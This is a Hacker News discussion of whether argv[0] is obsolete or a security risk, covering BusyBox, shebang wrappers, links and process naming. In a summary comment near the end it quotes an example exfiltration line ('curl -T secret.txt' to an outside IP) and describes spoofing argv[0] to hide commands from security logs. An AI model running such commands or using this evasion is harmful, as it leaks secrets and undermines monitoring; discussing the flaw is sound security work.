           | alias rm="busybox rm"         alias xargs="busybox xargs"
           | # etc.
           | 
           | you still have to write `xargs -exec busybox rm`, because
           | xargs won't use the shell alias.
           | 
           | But the main problem with this approach is that POSIX and LSB
           | require certain binaries to be available at certain paths.
           | When they're not, most shell scripts will just break.
           | 
           | The minimal standard solution is probably to create shell
           | scripts for all of these, e.g. in /bin/ls:
           | #!/bin/sh         exec /bin/busybox ls
           | 
           | But this both adds runtime overhead (on every invocation!)
           | and is quite wasteful in terms of disk space. Busybox boasts
           | over 400 tools. At 4 KB per file, that's 1.6 MiB of just
           | shell scripts. Of course that can be less if the file system
           | uses some type of compression which is common on embedded
           | systems where storage space is small, but it still seems to
           | defeat the purpose of using busybox to create a minimal
           | system.
        
             | yjftsjthsd-h wrote:
             | Well /bin/sh is also busybox, so I think you'd need
             | #!/bin/busybox sh         exec /bin/busybox ls          ?
        
               | sltkr wrote:
               | Great point!
               | 
               | Actually this observation invalidates the whole setup.
               | Because even though you could define /bin/sh itself as:
               | #!/bin/busybox sh         exec /bin/busybox sh
               | 
               | Then you still cannot use #!/bin/sh in any other shell
               | scripts, because for historical reasons the interpreter
               | of a script is not allowed to be another interpreted
               | script, it must be a binary. So /bin/sh pretty much _has_
               | to be an actual binary.
        
           | jimrandomh wrote:
           | That's fine for when users are interactively typing commands,
           | but it doesn't work when the command is being run by a non-
           | busybox program which expects commands to exist in the
           | standard locations.
        
           | alerighi wrote:
           | Well of course it's not only a matter of interactive usage
           | (even because the busybox itself shell could do the
           | conversion). The problem are script, or worse programs that
           | invokes commands as subprocesses (programs that maybe you
           | don't have have access to the source code!).
           | 
           | What you do? Replace every single occurrence of each command
           | by prefixing it `busybox`? Not ideal at all...
        
         | rzwitserloot wrote:
         | That seems unnecessarily harsh.
         | 
         | I don't think that's the gist of the article, but the throwaway
         | suggestion of 'just make lots of copies, who cares about
         | diskspace' is insufficient and thus distracts. It's.. a single
         | line about solutions in an article that isn't _about_ solving
         | problems, it's about highlighting a problem exists and that
         | it's worth solving.
         | 
         | I read the article more as: There is __often__ no good reason
         | to use argv[0], and it should be avoided if at all possible,
         | and if it cannot be avoided, it would behoove the industry to
         | work on ways to make sure in the future it can be avoidable.
         | 
         | For example, why in the blazes does windows taskman.exe list
         | argv[0] in the GUI table view? That's just asking for trouble.
         | Show the actual file path, and always an absolute one - that
         | way you avoid confusion about which executable you're actually
         | running, and it's just as readable if not more readable for
         | every app _except_ those who care about argv[0], e.g. if you
         | ran `/bin/dd` and it's actually busybox, in taskman you'd see
         | `/bin/busybox` instead which'd be worse than seeing 'dd'. That
         | is simple enough to solve (add an API call to update _your own
         | process name_ or at least update your own process 'title' which
         | interfaces like ps/taskman can use accordingly), but, now we're
         | talking about coordinating between OS, glibc, busybox, and so
         | on - lots of parties. I don't mind that the article doesn't
         | delve that deep, as that wasn't the point of it. The point is
         | simply to show the problems the kludge of 'we will show argv[0]
         | instead of the executable name' causes.
         | 
         | This article feels more about explaining that in the distant
         | past, a mistake was made with some history as to why that
         | mistake was made and the deleterious practical effects that
         | this mistake is causing or is likely to cause (most of them
         | security related). It's not really about solving the problem;
         | that presumably comes later and should be sketched out by those
         | who are knowledgable on _that_ subject. That doesn't imply the
         | author is ignorant or that the article is insufficiently
         | defended. Just that it hasn't covered all aspects of what it's
         | writing about.
        
           | mbrumlow wrote:
           | > highlighting a problem exists
           | 
           | Coding bugs into your programs is not a problem it's a bug.
           | None of the weird arg[0] examples can happen on the shell
           | (without escaping), only when using system calls.
           | 
           | The more I read the article the more I feel this is a
           | reaction to a behavior the author did not expect and fancy
           | them as smart therefore the last 20 years of use age of this
           | feature are obviously wrong.
        
             | cesarb wrote:
             | > None of the weird arg[0] examples can happen on the shell
             | (without escaping), only when using system calls.
             | $ help exec       [...]       Options:         -a name pass
             | NAME as the zeroth argument to COMMAND
             | 
             | Even in shell, you can explicitly specify the argv[0] when
             | running an executable.
        
               | mbrumlow wrote:
               | Not in all shells, but in some exec is a pass through to
               | the system call ...
               | 
               | Bash is a language, so again we are telling the stream to
               | do something silly and calling it out had a security
               | problem.
               | 
               | The issue is not arg[0] but uninformed expectations on
               | how these systems work.
               | 
               | Relying on the program/command name for security and not
               | the executable path is a bug.
               | 
               | Furthermore if a bad actor has enough access to run exec
               | you probably are in a bad way.
               | 
               | The whole post also seems to not understand that both
               | windows and linux have ways to change this display after
               | the executable is running via SetConseTitle and prctl or
               | simply modify arg[0] directly.
        
           | ArchOversight wrote:
           | There's the `setproctitle` in FreeBSD that is designed
           | exactly for a process to update the information that is
           | presented to tools such as ps.
           | 
           | https://man.freebsd.org/cgi/man.cgi?query=setproctitle&aprop.
           | ..
        
             | asveikau wrote:
             | There's also getprogname(3) on a lot of systems, and the
             | __progname variable. I seem to recall this is an area where
             | various Unix like systems have slight variations.
        
           | toast0 wrote:
           | > Show the actual file path, and always an absolute one -
           | that way you avoid confusion about which executable you're
           | actually running, and it's just as readable if not more
           | readable for every app _except_ those who care about argv[0],
           | e.g. if you ran `/bin/dd` and it's actually busybox, in
           | taskman you'd see `/bin/busybox` instead which'd be worse
           | than seeing 'dd'.
           | 
           | This was kind of in the middle of your complaint about
           | windows, but then you've got unixy busybox discussion.
           | 
           | On a unix filesystem, a file that's hard linked with multiple
           | names has no single 'actual name'. All of the names are
           | equally valid. You could show the filesystem and inode
           | number, which should uniquely identify the file, but is
           | pretty user unfriendly.
        
             | pdonis wrote:
             | _> On a unix filesystem, a file that 's hard linked with
             | multiple names has no single 'actual name'._
             | 
             | But each of the multiple names points to the same actual
             | data, so it doesn't matter which one is shown. The obvious
             | choice would be to show the absolute path that the OS used
             | to load the executable.
        
             | wongarsu wrote:
             | > On a unix filesystem, a file that's hard linked with
             | multiple names has no single 'actual name'
             | 
             | The same is true for hard linked files on Windows. That
             | never stops Windows from showing you a path.
             | 
             | There is almost always an "obviously right" path (the one
             | used when opening the file). And if you lost track of that,
             | deterministically choosing one of the possible paths is
             | almost always more user friendly than just chowing inode
             | numbers.
        
               | toast0 wrote:
               | > There is almost always an "obviously right" path (the
               | one used when opening the file).
               | 
               | The path used while opening a file is easy to get
               | confused. If your cwd changed names or was deleted since
               | you entered it, and you open an executable with a
               | relative path, what is the "obviously right" path then?
        
           | ahoka wrote:
           | "That is simple enough to solve (add an API call to update
           | _your own process name_ or at least update your own process
           | 'title' which interfaces like ps/taskman can use
           | accordingly)"
           | 
           | We could call it setproctitle, or something. \s
        
           | croes wrote:
           | It's easy to call something a mistake in hindsight.
           | 
           | You could argue the mistake was done elsewhere so this
           | feature could be abused.
        
         | Arch-TK wrote:
         | Restricting setting it would break login.
         | 
         | Not that it couldn't be fixed by changing how we handle login
         | shells but still. Worth remembering.
         | 
         | Similarly the busybox situation could be solved by having
         | busybox ship posix shell wrapper scripts which use
         | `#!/bin/busybox sh` as the shebang and simply consist of a line
         | like `exec /bin/busybox ls "$@"`.
        
           | nrclark wrote:
           | It can already do that, afaik. When I last checked, BusyBox
           | supported installations via 4 methods:                 -
           | symlink       - hardlink       - shell script wrappers
           | - executable binary wrappers around libbusybox
        
             | Arch-TK wrote:
             | Nice!
        
           | zekica wrote:
           | You are over-complicating it, you only need `#!/bin/busybox
           | ls` as the entire contents of the file.
        
             | Arch-TK wrote:
             | This doesn't work. The eventual command would be
             | /bin/busybox ls /path/to/ls/wrapper ...
        
         | marcosdumay wrote:
         | Is there a good reason for allowing writes to argv at all?
         | 
         | I think any reason one will find are based on backwards
         | compatibility.
        
         | Hizonner wrote:
         | As the original author says (but seems to forget within a
         | paragraph or two), _the program should already know what
         | program it is_. If you 're looking at argv to find out _what
         | program you are_ , you are doing it deeply wrong. It's an
         | argument.
         | 
         | One good use for it is to make a guess as to where your
         | executable is installed. Yes, it would be nice if there were a
         | more certain way to get that... but not for _security_
         | purposes. You don 't want to rely on filenames for security
         | anyway, because anybody can make copies and symlinks and rename
         | files at will, and it's _really, really_ hard to catch all the
         | cases of that. Much harder than, for instance, remembering that
         | argv[0] is a hint from your caller, not gospel from the OS.
         | 
         | In the same way, I know that it's fashionable nowadays for
         | incompetent idiots to write security tools, but a security tool
         | that trusts an argv value for anything much was obviously
         | written by an incompetent idiot, because that's not what
         | they're for.
        
           | mariusor wrote:
           | Am I missing something, you didn't seem to address the case
           | where you actually need to know which program you are? The
           | way busybox provides the whole suite of linux-utils in one
           | binary and require the command under which it was invoked to
           | _know_ what to do.
        
             | Hizonner wrote:
             | Busybox still knows that it's busybox, and it is using that
             | argument to decide which of its many functions to execute.
             | 
             | This person is arguing that that's somehow wrong because
             | busybox, or more importantly some other software that's
             | trying to monitor it, might get confused about whether it's
             | busybox.
        
               | mariusor wrote:
               | Busybox is quite well known project, but frankly from the
               | way you write about it, it does not look like you know
               | how it works so apologies if I'm explaining something
               | that you already know.
               | 
               | Busybox is a reimplementation of the standard linux utils
               | (ls, find, dir, etc..) for resource limited machines. To
               | quote from the man page:
               | 
               | > BusyBox is a multi-call binary that combines many
               | common Unix
               | 
               | > utilities into a single executable.
               | 
               | How it works is that it symlinks the binary to each of
               | the commands it implements and then it executes the
               | corresponding functionality based on the value of
               | argv[0].
        
               | Hizonner wrote:
               | I know exactly how it works, thanks.
               | 
               | The hangup here seems to be the definition of "program".
               | I'm using it to mean something roughly like "executable",
               | which I think is fairly close to what the original
               | article meant it to mean. You seem to be using some
               | concept of "program" that makes each of busybox's
               | functions a separate program. As far as I'm concerned, on
               | the other hand, busybox is one big program that does a
               | lot of largely unrelated things, choosing which of them
               | to do based on how it's invoked. There's no right answer.
               | You _could_ say that all of the software running on a
               | whole computer is one giant program, and in fact
               | sometimes I do find it convenient to think of it that
               | way.
               | 
               | I don't know that your definition of "program" is _wrong_
               | , but I do think it's alien to this context.
        
               | mariusor wrote:
               | OK, apologies.
               | 
               | Then your previous statement makes no sense in context.
               | At least to me.
               | 
               | Yes busybox knows it's busybox. But busybox doesn't do
               | anything if it is not invoked in a certain way which
               | relies on argv[0] being what it is today. I am not sure
               | what you're arguing for frankly.
        
               | Hizonner wrote:
               | I'm arguing _against_ the idea that the way argv[0] works
               | is somehow wrong, and /or perhaps should be changed to
               | "more reliably" reflect the filename of the executable
               | that actually got loaded, because some programmer might
               | not understand what argv[0] actually does.
               | 
               | The article's lead argument _for_ the  "badness" of
               | argv[0] seems to be, roughly paraphrased, that "the
               | program should already know what it is [true], and this
               | could confuse it [Huh? No I don't really know what that
               | means either]". That's followed by a bunch of other stuff
               | about _other_ programs guessing what executable is
               | running in a given process based on its argv[0], which is
               | of course just deeply ignorant misuse of the value.
               | 
               | I mean, "the name" of the file that got loaded isn't even
               | necessarily either well defined, or useful under _any_
               | definition.
        
               | mariusor wrote:
               | Then it looks like I'm terrible at reading comprehension
               | today, I understood you were arguing the same thesis as
               | OP. Apologies, again. :)
        
         | surajrmal wrote:
         | You can write a 2 liner shell script that prepends busybox per
         | command. I've done this on a 16MiB restricted system and while
         | ate maybe 4k per command, it wasn't a big deal with only 20-30
         | commands.
        
           | blenderob wrote:
           | What about compiled binaries that for one reason or another
           | is doing an execve() on "/usr/bin/cmp" or some such thing? Do
           | you propose changing every script and every binary on earth
           | that expects Busybox to be a POSIXy, Unixy environment?
        
             | pzmarzly wrote:
             | On Unixes it doesn't matter if /usr/bin/cmp is a script or
             | a compiled binary. If the script has correct shebang,
             | kernel takes care of executing it.
        
               | oguz-ismail wrote:
               | Shebangs are not part of the UNIX specification. What
               | happens if an executable starts with `#!' is
               | implementation-defined.
        
             | sophacles wrote:
             | No you make this script:                  #!/bin/sh
             | exec /bin/busybox cmp
             | 
             | And place it at /usr/bin/cmp
        
               | teddyh wrote:
               | Surely you mean                 #!/bin/sh       exec
               | /bin/busybox cmp "$@"
        
               | oguz-ismail wrote:
               | `#!/bin/sh' makes this less portable than it could be, if
               | /bin/sh doesn't exists on my system it won't work, for
               | example. Remove that line and it'll work everywhere.
        
               | teddyh wrote:
               | If /bin/sh does not exist, what in the world is executing
               | the shell script?
        
               | oguz-ismail wrote:
               | The shell, of course. It just might not be (because it
               | doesn't have to be) located in /bin.
        
               | teddyh wrote:
               | I'm pretty sure that /bin/sh is mandated by POSIX.
        
               | oguz-ismail wrote:
               | It's not. See https://pubs.opengroup.org/onlinepubs/97999
               | 19799/utilities/s...                   Applications
               | should note that the standard PATH to the shell cannot be
               | assumed to be either /bin/sh or /usr/bin/sh, and should
               | be determined by interrogation of the PATH returned by
               | getconf PATH, ensuring that the returned pathname is an
               | absolute pathname and not a shell built-in.
        
               | alerighi wrote:
               | So now to execute a program that could have been a direct
               | run you have to fire up a shell, have it parse the file,
               | and execute the instruction? Not really a great thing...
               | 
               | Plus, you have to know the absolute path of the
               | executable busybox, not something you always know in
               | advance.
        
               | sophacles wrote:
               | You're not wrong about the extra execution of shell,
               | although a lightweight shell like ash or dash doesn't
               | have a huge overhead.
               | 
               | But realistically, the only people that need to worry
               | about the actual location of the busybox executable are
               | the people who write the install script - it would take
               | that as an argument or variable and spit out all the
               | little scripts as an automated process. The current
               | installer already has to do most of this work as part of
               | setting up the relevant links anyway.
        
         | pzmarzly wrote:
         | Not an author, but there's a good alternative. If busybox was
         | edited to ignore argv[2], then applets could be called via
         | shebangs, instead of symlinks:                   $ echo
         | '#!/path/to/busybox echo' > myecho         $ chmod +x myecho
         | $ ./myecho 123         ./myecho 123
         | 
         | Right now this doesn't work properly, because "./myecho"
         | (argv[0]) gets placed into argv[2] of the process. Otherwise,
         | this technique IMHO is better than symlinks:
         | 
         | - Each applet uses the same amount of disk space (0 blocks,
         | i.e. the content fits into inode).
         | 
         | - Doesn't read or write to argv[0].
         | 
         | - You could finally rename the applets. This is not that useful
         | if busybox is your only posix userspace implementation, but
         | very useful if you want many implementations to live side-by-
         | side. E.g. on macOS, I'd like to have readlink point to
         | BSD/macOS's readlink, greadlink to GNU coreutil's, bbreadlink
         | to busybox's.
         | 
         | But as I said, this doesn't work for now. The best you can do
         | now is to write shell two-liners
         | https://news.ycombinator.com/item?id=41436012. Some of such
         | two-liners may also fit into the inode inlining limit, so
         | that's a plus. But you will have performance penalty on every
         | call (since sh needs to start up).
        
           | alerighi wrote:
           | Well that would be inefficient. For each command you run the
           | kernel has to read the file, detect that it has a shebang,
           | parse the shebang line, and then finally load the actual
           | executable in memory. That could be a performance problem,
           | since busybox is used typically in embedded systems that
           | doesn't have a lot of resources: imagine a shell script that
           | runs a command in a loop, it has to do a lot of extra work.
           | 
           | Finally, symlinks can be relative, while the solution you
           | proposed is not. This is particularly useful for distributing
           | software, e.g. distributing a tar file with the busybox
           | itself and their symlinks.
           | 
           | In fact, you don't even need symlinks at all: you can even
           | have hard links, that could even save disk space on embedded
           | filesystems, that are readonly images anyway.
        
             | vlovich123 wrote:
             | I'm going to challenge you on the performance angle.
             | Instead of doing the shebang line, it has to traverse the
             | filesystem to resolve the link. I suspect that's probably
             | more expensive than parsing the shebang line. Indeed, a
             | shell script that runs a command in a loop should have
             | busybox detecting the built in command & executing it
             | inline without spawning executables via the file system
             | (this is common in bash as well btw).
             | 
             | There are valid reasons but I think the performance angle
             | is the weakest argument to make.
        
               | Denvercoder9 wrote:
               | > Instead of doing the shebang line, it has to traverse
               | the filesystem to resolve the link. I suspect that's
               | probably more expensive than parsing the shebang line.
               | 
               | I highly doubt that. Path traversal is one of the most
               | optimized pieces of code in the Linux kernel, especially
               | for commonly accessed places like /bin where everything
               | is most likely already in the dentry cache. For the
               | script with a shebang on the other hand it first has to
               | read it from disk (or the page cache), then parse the
               | path from it, and then do a path traversal anyway to find
               | the referenced file.
        
             | cxr wrote:
             | > Well that would be inefficient. For each command you run
             | the kernel has to read the file, detect that it has a
             | shebang, parse the shebang line, and then finally load the
             | actual executable in memory.
             | 
             | Those that exist today would, but no kernel would _have_ to
             | work like that.
             | 
             | Once you've agreed that monolithic kernels have merits,
             | you've accepted that the kernel can do whatever it wants to
             | make this efficient--including being complicit in this
             | scheme and leapfrogging over most of what you just
             | described.
        
           | cesarb wrote:
           | > Each applet uses the same amount of disk space (0 blocks,
           | i.e. the content fits into inode).
           | 
           | Is that really the case? AFAIK, OpenWRT uses SquashFS by
           | default, and a quick web search tells me that "[...] In
           | addition, inode and directory data are highly compacted, and
           | packed on byte boundaries. Each compressed inode is on
           | average 8 bytes in length [...]" (https://www.kernel.org/doc/
           | html/latest/filesystems/squashfs....). That is, even if the
           | content fits into the inode, it will make the inode use more
           | space (they're variable-size, unlike on traditional
           | filesystems with fixed-size inodes).
           | 
           | And using hardlinks (traditionally, we use hardlinks with
           | busybox, not symlinks) goes even further: all commands use a
           | single inode, the only extra space needed is for the
           | directory entry (which you need anyway).
        
           | soneil wrote:
           | I was going to say it'd be easier to have a single script, eg
           | #!/bin/sh         busybox $0 $@
           | 
           | and then every command required could just be a hardlink to
           | the same script, instead of replicating it over and over
           | again for hardcoded command names.
           | 
           | Then I realised the whole point is to posit a world where $0
           | doesn't exist, and we're not allowed to be clever about it.
        
         | zokier wrote:
         | Isn't the reason for busybox multi-call binary mostly just ELF
         | being bloated? So the answer for resource constrained systems
         | would be to have more efficient executable format. I don't see
         | why multi-call binary + bunch of symlinks would be intrisically
         | much more size-efficient than something purpose-built.
        
           | yuliyp wrote:
           | a lot of code is shared between different tools. Busybox has
           | one copy of those. Before you mention shared libraries. There
           | is still overhead, as well as complicating the usage (it
           | needs to find a shared lib when starting instead of just
           | having all it needs in the binary). This isn't really a
           | property of the executable format. Any format would have the
           | same problem.
        
         | gwbas1c wrote:
         | I agree, I think the author really shot themselves in the foot
         | when they, at length, criticized the merits of a program using
         | argv[0].
         | 
         | The real point are the security flaws in a calling program
         | setting argv[0], because it really, really should be set by the
         | operating system. (As a programmer, I shouldn't have to defend
         | against these kinds of attacks. The OS should block it.)
         | 
         | The criticisms of valid programming practices, IMO, hurt the
         | author's credibility and distract from the real point of the
         | article.
        
           | nrdvana wrote:
           | The real security flaw is extracting a value from a process's
           | own memory to identify what the process is. If you want a
           | secure way to identify what a process is and where it came
           | from, that needs to be a new feature in the OS.
           | 
           | argv[0] was designed to be part of the arguments _to_ the
           | program, and it succeeds perfectly at that task. The problem
           | is that it has been abused by external tools as a way to
           | identify the program just because there was no other
           | alternative.
           | 
           | It has to be writable because the entire argv string (in
           | program memory) is writable and declared as
           | int main(int argc, char **argv)
           | 
           | not                 int main(int argc, const char **argv)
           | 
           | and needs to preserve back-compat. Classic C code might be
           | calling strtok on the arguments, so that block of memory
           | needs to remain writable.
        
             | Joker_vD wrote:
             | > The real security flaw is extracting a value from a
             | process's own memory to identify what the process is. If
             | you want a secure way to identify what a process is and
             | where it came from, that needs to be a new feature in the
             | OS.
             | 
             | How would that help? After all, even if this info comes
             | from the OS, the decision logic still lives in your
             | process's memory which the parent process still has full
             | access to.
        
         | kazinator wrote:
         | If hard linking (no symbolic) is used to install the BusyBox
         | commands, then instead of argv[0], BusyBox could use the
         | platform-specific means of obtaining the executable name, and
         | take the basename of that path. On Linux this means
         | /proc/self/exe; _NSGetExecutablePath on Drawin; getexecname on
         | Solaris; GetModuleFilename on Windows; ...
        
         | mzs wrote:
         | https://github.com/util-linux/util-linux/blob/master/login-u...
         | 
         | edit: basically login(1) execes your shell with - prepended, so
         | an example where POSIX expects this
        
       | blenderob wrote:
       | > argv[0] is a relic of the past
       | 
       | Busybox says hello.
       | 
       | Seriously though, how is this on the front page? Both the premise
       | and conclusions contradict the reality of how argv[0] is used
       | with symbolic links and hard links.
        
       | hinkley wrote:
       | > Today however, disk space is no longer considered an issue;
       | 
       | Tell me you don't use Docker without telling me you don't use
       | Docker.
       | 
       | I'd argue the certutil problem the author mentions is a flaw in
       | certutil, not argv's fault. Doesn't that mean it falls to
       | symlinks as well?
       | 
       | If you look at sudo, it's generally deny by default. Rename a
       | program all you want, you won't get to use it unless you can
       | overwrite a program that is in the sudoer file. So I don't know
       | what nonsense certutil is playing at if it's using argv to do its
       | job. That's appalling.
        
       | Arch-TK wrote:
       | For a command line utility, argv[0] is nice to see in error
       | messages (e.g. `./tool: fatal: Could not open './file' for
       | reading`). When the shell combines stdout and stderr, it's easier
       | to spot exactly what you just typed as argv[0] from all the other
       | output.
       | 
       | For most other things, definitely unnecessary.
        
       | azlev wrote:
       | I don't think the argv was made with security in mind.
       | 
       | If we want something to be used in security field, the design
       | since day 0 should consider it. Trying to retrofit something will
       | break a lot of things.
        
       | js2 wrote:
       | > Today however, disk space is no longer considered an issue;
       | this is evidenced by macOS Sonoma, where shutdown and reboot are
       | two separate executables.
       | 
       | Try running `ls -li /usr/bin` on macOS and you might be surprised
       | to learn that all of these are a single executable: DeRez,
       | GetFileInfo, Rez, SetFile, SplitForks, ar, as, asa, ... yacc.
       | There's 77 different entries in `/usr/bin` (including `git` and
       | `python3`) that are all links to the same binary
       | (`com.apple.dt.xcode_select.tool-shim`). It's a wrapper that
       | implements the `xcode-select` concept to locate and run the real
       | executable provided by either the Command Line Tools package or a
       | particular Xcode version you may have installed.
       | 
       | And that's not the only one. There's another 68 links starting
       | with `binhex.pl` and ending with `zipdetails` that are a single
       | 811 byte wrapper-script around perl.
       | 
       | Altogether, I see that there are 26 different names that are
       | multiply linked:                 ls -li /usr/bin |       awk
       | '{print $1}' |        sort | uniq -c |        sort -n | grep -v
       | "\s*1\s" | wc -l
       | 
       | Some of the other examples: less & more, bc & dc, atrm & batch,
       | stat & readlink.
       | 
       | Having a program behave dynamically based on argv[0] is a useful
       | tool in the Unix toolbox. The alternative would be compiling 77
       | different versions of `tool-shim,` creating 68 different versions
       | of that perl wrapper, etc.
       | 
       | The `git` binary uses this concept too. You can create an
       | executable named `git-foo`, put it anywhere in your PATH, and
       | then call it as `git foo`.
       | 
       | In the end, argv[0] is just an argument that can be used to
       | improve CLI ergonomics and reduce code duplication. It's not
       | solely about disk space. I think that makes it a more common and
       | useful concept than you give it credit for.
       | 
       | As to the rest of the post: I'm not really sure how argv[0] being
       | in the caller's control is any different than the rest of the
       | execution context being in the caller's control: the remaining
       | arguments, the environment, limits on file descriptors, which
       | file descriptors are open, the program's real and effective uid
       | and gid, signals it might receive and so on. These all amount to
       | untrusted input any executable has to be cognizant of, more or
       | less so depending upon what privileges the executable has and
       | what its goals are.
        
         | cryptonector wrote:
         | Besides, disk space is not an issue, but container image size
         | still can be an issue because those have to be copied around
         | the network, and it's easy to have thousands of 10GB images
         | consume more disk space than you might have thought you'd need.
        
           | tsujamin wrote:
           | Surely the duplication would be (mostly) compressed away?
        
       | t43562 wrote:
       | arg0 also contains the path from where the invoker invoked the
       | binary so for me this enables all sorts of binaries that work out
       | where their dependencies are relative to their original binary.
       | That's extremely convenient because you can combine it with $PWD
       | to find out the absolute path to the binary.
       | 
       | One can then guess what the PYTHONPATH and LD_LIBRARY_PATH should
       | be most of the time and save someone from having to set them.
       | 
       | Obviously this is of most use when you're running something
       | you've installed into /opt (e.g. /opt/myprog/bin, /opt/myprog/lib
       | etc) or are running it from the source tree.
        
       | layer8 wrote:
       | If nothing else, argv[0] is useful for producing error messages
       | that indicate the name of the executable that is outputting the
       | message.
       | 
       | It's probably a good idea to not have it settable to other values
       | by the invoking process, as is generally the case on Windows
       | (ignoring its Posix subsystem here).
        
         | alerighi wrote:
         | > It's probably a good idea to not have it settable to other
         | values by the invoking process, as is generally the case on
         | Windows (ignoring its Posix subsystem here).
         | 
         | Well there is an use case that I sometime use for setting
         | argv[0]. Consider you want to run yourself as a subprocess. Why
         | you want to do that? There are plenty of reasons, but in
         | general the thing is that doing things after a fork() is not
         | safe under some circumstances and thus sometimes you also want
         | to exec yourself.
         | 
         | A technique is to then call yourself using another name in
         | argv[0] for then in the main take a different flow from the
         | normal command line parting, without adding an argument that
         | the user can specify if it know that it exists.
         | 
         | Yes, I know that there are a ton of other methods to do the
         | same thing (perhaps an environment variable, for example), but
         | I find the method of argv[0] quite nice and simple to be fair.
        
       | cryptonector wrote:
       | Please no. If you want to know what a process is running, look
       | carefully in `/proc` or use `lsof` or whatever, but no, please,
       | `argv[0]` is super useful. I use it, lots of people use it. And
       | it's well known that pstrings can be abused to hide things from
       | `ps`, but so what, it's been that way for 4+ decades and it's a
       | well-known "problem" (it's not a problem).
        
       | tqwhite wrote:
       | argv[0] is a parameter. Like any user input, it should be treated
       | skeptically. There is absolutely nothing wrong with allowing more
       | than one way to invoke the same program. This article is simply
       | silly. Fortunately, it will be ignored completely since acting on
       | it would break the universe.
        
       | CamJN wrote:
       | This is near and dear to my heart. I wanted to make a utility to
       | get the arguments of other processes, and found after looking
       | that every single use of the KERN_PROCARGS2 sysctl (used on
       | macOS) on the internet is wrong (they assume argv[0] is not an
       | empty string), including Apple's and Google's. So after making my
       | utility I also made a library out of it, both are bsd-3, but non-
       | gratis: https://getargv.narzt.cam/
        
         | CamJN wrote:
         | On a related note, env vars do not have to be of the form
         | key=value, they are arbitrary NUL-terminated byte strings just
         | like the args.
        
       | Dwedit wrote:
       | How about the part about knowing what the _directory_ the
       | executable was launched from? It could be different than the
       | working directory.
        
       | gorjusborg wrote:
       | Why bother asking?
        
       | hi-v-rocknroll wrote:
       | Arguing against legacy quirks is arguing against compatibility
       | and arguing for throwing away decades of code portability
       | guarantees through 20/20 hindsight perfectionism failing to
       | consider the costs and burdens of reimagining the world with
       | bikeshedding rants.
        
       | PaulHoule wrote:
       | It's part of the shambolic world of Unix and C. But "worse is
       | better!"
       | 
       | A good language spec is laid out in a way that reads from front
       | to back with minimized circularity. See Common Lisp, Java,
       | Python, etc.
       | 
       | As a kid in high school checking out Unix manuals and
       | implementing many Unix tools in
       | 
       | https://subethasoftware.com/2022/09/27/exploring-1984-os-9-o...
       | 
       | I struggled with K&R because of the circularity of the book,
       | which was really an anomaly built into C, the culture of C, or
       | both because C++ books still read this way. C had so many half-
       | baked things, such as an otherwise clean parser that required
       | access to the symbol table. And of course a general fast and
       | looseness which lead to the buffer overflow problem.
       | 
       | There were other languages which failed to solve the systems
       | programming problem like PL/I and Ada, not to mention ISO Pascal
       | which could have tried but didn't. (Turbo Pascal proved it could
       | have been done.)
       | 
       | People took until 1990 or so to be able to write good language
       | specs consistently, so we can forgive Unix but boy is it awful if
       | you look closely at it. On the other hand, IBM never did make a
       | universal OS for the "universal" 360, yet Unix proved to be
       | adaptable for almost everything.
        
         | zabzonk wrote:
         | i may have missed it, but where does the C Standard say
         | anything about access to a symbol table? or even if such a
         | thing exists.
         | 
         | and as for IBM i managed to use all sorts of OSs in VMs on IBM
         | hardware back in the 1980s. Which did you have problems with?
        
           | PaulHoule wrote:
           | The parser in C has to keep track of the symbol table to
           | handle cases like                  typdef int myint;
           | myint x;
           | 
           | which is unusual among programming languages. Sure I used VM
           | on IBM hardware in the 1980s and it was great. I also used
           | timesharing systems on the PDP-8 (what atrocious hardware!),
           | the PDP-11 and the PDP-10/20 _in the 1970s._ Although the 360
           | was superior in so many respects (except for the slow
           | interrupt handling) it failed to break into the huge market
           | for general-purpose timesharing to support software
           | development and such (learning BASIC) until the time
           | microcomputers came along and crushed the timesharing market.
           | (PDP-10 was famously used to develop microcomputer software
           | such as the original Microsoft BASIC and Infocom 's z-machine
           | games)
           | 
           | Fred Brooks' project to develop an OS for the 360 was
           | notoriously troubled and IBM belatedly turned to VM as a dark
           | horse. Today it looks ahead of its time (as virtualization
           | became mainstream on x86 in the 00's) but back then IBM was
           | flailing and they wound up with a good software story by
           | accident. It was not really their fault, people just didn't
           | know how to make an OS and the most advanced thinking back
           | then was monstrosities like MULTICS. It was Unix and VAX/VMS
           | that pointed to what a general purpose OS would look like a
           | few years later and there has been relatively little
           | innovation since then because nobody can afford to
           | rearchitect the user space. (e.g. no way you can take out the
           | "bloat" because you'll have to put it back in to run the
           | software you want)
           | 
           | IBM's z-architecture (the other z) has a great software story
           | today (even runs Linux) but it was not the Plan A or even the
           | Plan B.
        
             | zabzonk wrote:
             | well, that's like saying the compiler when it sees
             | something like:                  int x;        x = 1;
             | 
             | it has to keep track of "x". of course it does. what
             | programming languages don't?
        
               | lilyball wrote:
               | The weird thing about C is the syntax does not clearly
               | identify which tokens refer to types and which tokens
               | refer to other things. A statement like `myint x` is only
               | a variable declaration if `myint` is a type, which means
               | in order to identify a variable declaration, you have to
               | know the complete set of named types, so constructing an
               | AST requires keeping track of types.
        
               | PaulHoule wrote:
               | Yeah, it's a really weird thing when you look into the
               | yacc grammar of a C compiler.
        
       | jrockway wrote:
       | I think argv[0] is fine. It sounds like there is a lot of bad
       | security scanning software that doesn't understand how the `exec`
       | syscall works. That sounds like their problem and not a
       | fundamental problem with argv[0].
       | 
       | Most people use argv[0] so they can do something like:
       | $ mycommand help        Type `mycommand foo bar` to foo bars.
       | $ mycommand1.2.3 help        Type `mycommand1.2.3 foo bar` to foo
       | bars.
       | 
       | This is admittedly less fun when mycommand is /home/jrockway/.cac
       | he/bazel/_bazel_jrockway/7f95bd5e6dcc2e75a861133ddc7aee82/execroo
       | t/_main/bazel-out/k8-fastbuild/mycommand/mycommand_/mycommand`
       | however.
        
         | denysvitali wrote:
         | I don't think argv[0] includes the full path (or at least some
         | programming language strip the whole path and keep only the
         | last part)
        
       | jujube3 wrote:
       | Problem: virus scanning software on Windows is broken.
       | 
       | Solution: we should not use argv[0]?
        
       | gwbas1c wrote:
       | The author's extensive criticisms of using argv[0] are a
       | distraction from the main point of the article:
       | 
       | Summary: _By manipulating argv[0], a malicious program can hide
       | what its doing in security logs. For example, a malicious program
       | can make "curl -T secret.txt 123.45.67.89" look like "curl
       | localhost | grep -T secret.txt 123.45.67.89" in security logs. A
       | mallicious program can also use very large argv[0] values as a
       | DOS attack on system logging; or to truncate malicious
       | arguments._
       | 
       | IMO, operating systems should block this practice.
       | 
       | Unfortunately, the author's extensive criticism of programs
       | reading argv[0] hurt the author's credibility before most people
       | get to the real point of the article.
        
